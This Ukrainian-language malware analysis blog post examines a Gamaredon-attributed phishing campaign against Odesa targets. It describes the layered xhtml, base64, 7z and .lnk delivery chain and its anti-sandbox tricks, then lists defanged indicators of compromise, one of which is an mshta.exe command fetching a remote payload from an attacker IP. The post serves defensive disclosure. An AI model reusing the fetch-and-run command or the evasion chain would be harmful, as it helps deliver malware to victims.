Нещодавно команда Цифролаби отримала для аналізу імейл, який містив вкладений файл. На перший погляд, лист виглядає доствірно і не викликає особливих підозр. Однак більш детальний аналіз дав змогу побачити багатокрокову фішингову схему і її російський слід.
Отже, що ми бачимо? Лист нібито від Департаменту економічного розвитку Одеської міської ради, електронна адреса відправника виглядає достовірно, відсутні граматичні помилки, але є коротке повідомлення і навіть підпис. Враховуючи, що людина, яка отримала цей лист, є громадським діячем в Одесі, то все виглядає цілком логічно.
Оскільки ми вже знаємо, що це був фішинг, то виникають питання щодо електронної адреси відправника. У фішингових листах ми зазвичай бачимо два найпоширеніші варіанти маніпуляцій з полем відправника: підміна адреси в заголовку листа або компрометація поштового серверу. На жаль, не маючи оригіналу листа, який містить всі технічні деталі, ми не могли остаточно перевірити це.
Водночас найбільше підозр викликає саме вкладений файл «Для_реагування_і_вжиття_заходів.xhtml».
Файли з таким розширенням за замовчуванням відкриваються браузером як збережена вебсторінка. Відкриваємо його у текстовому редакторі, щоб перевірити код. Замість стандартного коду html-сторінки бачимо підозрілий набір символів, а також команду onmousemove, яка має переконатися, що файл відкрила саме людина, а не автоматизована система. З рухом курсора виконується команда bSn=bSn.replaceAll(‘﹡‘ + ‘ ‘ , ‘ ‘ + ‘ ‘), яка видаляє всі зірочки із закодованого коду. Ця частина якраз і запобігає виявленню шкідливого коду антивірусами.
Після цього ми отримуємо блок коду у форматі base64, який можемо декодувати за допомогою будь-якого доступного для цього сервісу. Нарешті бачимо те, що було приховане за всім цим, — блок коду JavaScript.
Опишемо найцікавіші команди. Перш за все, код знову очікує на рух курсора, щоб дозволити запустити наступні команди. Далі цей код перевіряє, на якій операційній системі він запущений. Якщо це платформа Windows, код дозволяє виконання решти команд.
Трохи нижче ми бачимо дуже довгий рядок коду знову у форматі base64. Це важливий елемент, до якого ми ще повернемось.
В останній частині цього JavaScript-коду ми бачимо блок команд, що має завантажити в браузері зображення розміром 1х1 піксель. Такі ж пікселі відстеження використовують більшість онлайн-ресурсів для збору даних та відстеження поведінки користувачів. Імовірно, зловмисники також використали його для отримання даних про IP-адресу та інші метадані жертви.
Окрім цих команд, текст коду містить багато зайвих елементів, що вказує на перевикористання старішого коду з попередніх кібератак.
Тепер повернемось до base64-коду. Декодувавши його, отримуємо ще один код. «7z» на його початку вказує на формат файлу, який прихований за цим кодом, а саме — архів, створений за допомогою безкоштовного файлового архіватора 7zip.
Зберігаємо і відкриваємо цей архів. Вміст цього архіву — папка «Для_реагування_і_вжиття_заходів», всередині якої знаходиться файл «Терміново. Підприємствам, установам та організаціям, для реагування і вжиття заходів згідно із законодавством.lnk». Ми припускаємо, що назва файлу спеціально така довга, щоб приховати його розширення.
Тип файлу *.lnk — це звичайний ярлик в ОС Windows, однак він може містити команди для запуску інших програм або файлів.
Власне цей файл *.lnk якраз містив команди для завантаження наступного архіву — seized.zip. На жаль, на момент аналізу він вже був недоступним для завантаження, тому кінцева ціль зловмисників залишається невідомою.
Таким чином, маємо шкідливий код, який був захований всередині інших, як у матрьошці. Через це на момент аналізу більшість антивірусів не виявляла шкідливу активність вкладеного файлу. Разом із тим автоматизовані системи аналізу теж не могли виявити підозрілу активність через те, що виконання коду зупинялось, очікуючи на рух курсора.
Зловмисники застосували прості техніки для ускладнення виявлення, такі як: очікування на рух курсора, перевірка середовища запуску, приховування коду за допомогою маніпуляцій з текстом, відстеження запуску файлу, завантаження кінцевого шкідливого коду лише за умови, що перший спрацював. Також зловмисники ймовірно підмінили електронну адресу відправника, а також адаптували вміст і назви файлів, щоб виглядати довіреним відправником.
У відкритому доступі ми знайшли аналогічні повідомлення зі шкідливим файлом. Зокрема, про це повідомили на ресурсах компаній Strike Ready, LevelBlue і Dark Atlas. Дослідники повʼязують цю атаку зі спонсорованою російськими спецслужбами хакерською групою Gamaredon (UNC530), яка вже роками таргетовано атакує українські організації. За посиланнями вище можна знайти додаткові індикатори та деталі щодо аналогічних атак.
Окрім цього, днями ми отримали для аналізу ще один імейл із подібним фішинговим механізмом. Він містить інші адреси й назви файлів, однак абсолютно ідентичну схему приховування кінцевого шкідливого коду всередині іншого коду з такими ж запобіжниками проти виявлення автоматизованими системами та антивірусами. Це свідчить про однакове авторство цих атак, а також додатково підтверджує наявність цілої інфраструктури, яка уможливлює таку тривалу кампанію вузькотаргетованих атак.
Як захиститись?
Простої відповіді на це запитання немає. Проблема в тому, що хакери постійно змінюють свої техніки й підходи, а якісний кіберзахист потребує комплексного підходу, зокрема спеціалістів, інструментів і налагоджених процесів в організації, на що в ОГС часто не вистачає достатніх ресурсів.
Те, що ви можете робити, — це з підозрою ставитися до подібних імейлів та повідомлень у месенджерах. Якщо отримали файл із незвичним розширенням або архів з паролем, а повідомлення при цьому спонукає вас до дії через залякування, краще будьте екстрапильними. Звертайтесь до Цифролаби і надсилайте такі файли й повідомлення нам на перевірку на [email protected].
Індикатори (IOCs):
\\\\\\\\\ EMAIL HEADERS //////////
Date: 06.06.2024
Received From: Департамент економічного розвитку Одеської міської ради <[email protected]>
Subject: Для реагування і вжиття заходів згідно із законодавством
\\\\\\\\\ FILES //////////
SHA256: 9d11f2e6c5ac871985813f80c7888f58c0a7a86b658ac095a3b20212dca37d61
File name: Для_реагування_і_вжиття_заходів.xhtml
File size: 4020 bytes
File type: xhtml
SHA256: 159e8ce0c0eec6ef162b1692421074d98f8217b3253c158f424aca6de8195a87
File name: Терміново. Підприємствам, установам та організаціям, для реагування і вжиття заходів згідно із законодавством.lnk
File size: 997 bytes
File type: lnk
URL: hxxp://194[.]180[.]191[.]15/ods/seized[.]zip
IP: 194[.]180.191.15
Computer name: desktop-u5gf4op
\\\\\\\\\ EMAIL HEADERS //////////
Date: 24.07.2024
Received From: [email protected]
Subject: Щодо сплати адмінштрафу за протоколом ВАВ №540419 від 22.07.2024 року
\\\\\\\\\ FILES //////////
SHA256: 04d4c36392de222728e17ceb4058f06412551ce554ff54addfc5a7c17d7041c8
File name: Протокол_ВАВ_540419_22.07.2024.xhtml
File size: 3 Kb
File type: xhtml
SHA256: 2f1f97df7745433eb31f35f2192810b975cb248a07919d857c9c66592fa10319
File name: Щодо сплати адмінштрафу за протоколом ВАВ 540419 від 22.07.2024 року Адміністратівної комісіі.lnk
File size: 985 B
File type: lnk
URL2: hxxp://38[.]54[.]29[.]118/a/deal[.]gif
IP: 38[.]54.29.118
\\\\\\\\\ EMAIL HEADERS //////////
Date: 30.07.2024
Received From:[email protected]
Subject: Апеляційна скарга обвинуваченого у кримінальному провадженні 12024161180000021
\\\\\\\\\ FILES //////////
SHA256: a273af7b1fc0a76bf912403dd2d9dbf1e7733bd0eb1d25b48551a4feb82dd974
File name: 12024161180000021.xhtml
File type: HTML
SHA256: 17c8059a19133fdf768718571a2f17351c64899adafe6b8ff96546af0a0973f6
File name: 12024161180000021.rar
File type: 7zip
SHA256: c2e6604a197197de4a814c8d7cb47d2ae36e66722cb3b35a26f0de9f2d50a45c
File name: Апеляційна скарга обвинуваченого у кримінальному провадженні 12024161180000021 на вирок районного суду Одеської області від 27 липня 2024 року.lnk
File type: LNK
URL: hxxp://154[.]205.155.132/4/decency.log
IP: 154[.]205.155.132
\\\\\\\\\ EMAIL HEADERS //////////
Date: 01.08.2024
Received From: [email protected]
Subject: Спецповідомлення
\\\\\\\\\ FILES //////////
SHA256: b489698ca3351b1c810e3a99590c5c1b5578c123ee65b7d674082da041267ee7
File name: 01.08.2024.xhtml
File type: HTML
SHA256: 6397547842b89135b0c063f05f4927f5ed714f71f9d65fabf51a8bfbb0ac11ed
File name: 01.08.2024.rar
File type: 7zip
SHA256: 38c7a188368435374c7d21f18d67ce5b5ed0dc192e6fd931e1f186706efbe817
File name: Електронна копія службового листа відповідає оригіналу.Інформація з обмеженим доступом у службовому листі відсутня.lnk
File type: LNK
URL: hxxp://38[.]60.162.77/N/seriously.mui
FilePath: “C:\Windows\System32\mshta[.]exe” hxxp://38[.]60.162.77/N/seriously[.]mui /f
IP: 38[.]60.162.77
SHA256: 4084797704744b72c9354b62055d99c3312a55a09d254c9ac8c4802f42bd8792
File name: Електронна копія службового листа відповідає оригіналу.Інформація з обмеженим доступом у службовому листі відсутня.pdf
File type: UNKNOWN